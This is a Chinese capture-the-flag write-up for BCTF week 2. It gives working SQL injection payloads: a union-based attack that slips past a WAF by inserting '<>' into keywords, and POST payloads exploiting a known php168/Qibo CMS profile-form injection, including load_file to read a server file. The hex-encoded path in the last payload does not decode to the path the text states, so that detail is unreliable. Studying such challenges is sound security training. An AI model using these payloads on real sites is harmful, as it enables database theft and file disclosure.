Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

BCTF第二周writeup分析

0
0

题目地址: http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1

打开连接,页面显示的是:

flag{在数据库中}

找到注入点

使用burp查看网页的源代码,发现:

<!--SELECT * FROM info WHERE id=1--><br />flag{在数据库中}<br /><br />

提示如上,说明这是一道SQL注入的题目了。

首先通过测试判断,SQL注入的过滤情况。

输入 or 、 and 、 union ,发现都能够正常使用使用,输入 select 则提示 inj code! ,说明select是直接被PHP代码过滤了。

然后尝试使用大小写混合的方式来进行绕过,当输入 ?id=2 SelsElEcTect 的方式混合select时页面出现405,说明在网站的后台有WAF的存在。

最后尝试看看特殊字符的情况,特殊字符有 !@#$%^&*()_+-=<>?/|~ .最后进行测试发现使用 <> 可以被替换为空。

然后尝试使用 <> 和 select 的混合进行绕过。

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=sele%3C%3Ect

页面上没有出现任何的提示,后台显示 <!--SELECT * FROM info WHERE id=select--> ,说明绕过了后台的检测和WAF。

找到flag

在 or 和 select 可以用的情况下就是传统的注入方法,具体可以参考SQL注入入门(二)

得到字段总数:

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1 o<>rder by 3

得到字段数是3

得到显示位:

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,2,3

得到显示位是2

得到当前数据库的表:

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

在当前的数据库中仅仅只存在一个表 info

得到info表中的字段:

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schema.columns where table_name=0x696e666f

发现有WAF。这个就比较奇怪了,之前的SQL注入语句都没有,到这个地方就有了。但是以为在这个地方又要使用什么奇技淫巧,后来才发现是我想多了。直接将 information_schema 变为 information_schem<>a 就可绕过WAF。

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schem<>a.columns where table_name=0x696e666f

得到字段名称是id,title,flAg_T5ZNdrm

提取数据

找到flag的位置之后,就可以提取数据得到flag。

http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(flAg_T5ZNdrm),3 from info

最后得到的flag为 flag{d152ec60-5d5c-462a-8236-73755f7cd27d}

再见CMS

题目链接: http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/

题目提示:

这里还是有一个小脑洞

一遇到这种真正需要渗透测试的题目,就完全不会了。这篇文章还是看了别人的writeup写出来的。

进入网站,发现是一个cms系统,当然具体是什么cms系统,这个就需要看大家的能耐了。

我在网上找到了一个 在线cms识别系统 ,经过识别是php168。php168就是齐博cms的前身,在网上找到齐博cms系统的漏洞, 齐博整站/地方门户SQL注入漏洞 。

这个漏洞主要就是在修改个人信息的页面存在一个SQL注入的漏洞,通过文章中的提示,注入:

URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2
POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23

查看个人主页就可以看到当前的用户信息,如下:


BCTF第二周writeup分析

但是目前还是无法得到flag。后来才知道flag是位于 /var/www/html/flag.php 中,使用sql中的load_file来读取文件的内容,最终的flag的语句为:

URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2
POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(load_file(0x2f7661722f7777772f68742c6c2f666c61672e706870)) where uid=3%23

这样就可以得到flag了

XSS平台

看了这个题目的writeup,看来需要了解tarnado和xss平台相关的概念了。

这道题目等搞清楚了这2个问题再来补充这个题目的解答。

总结

发现自己在代码审计和渗透测试方面的能力还是比较弱,一遇到这样的题目就抓虾了,这方面还需要多多加强。下一步要多分析漏洞,都进行调试。

参考

在线cms识别: http://whatweb.bugscaner.com/look/#即将上线

齐博整站/地方门户SQL注入漏洞: http://bobao.360.cn/snapshot/index?id=10420


Viewing all articles
Browse latest Browse all 12749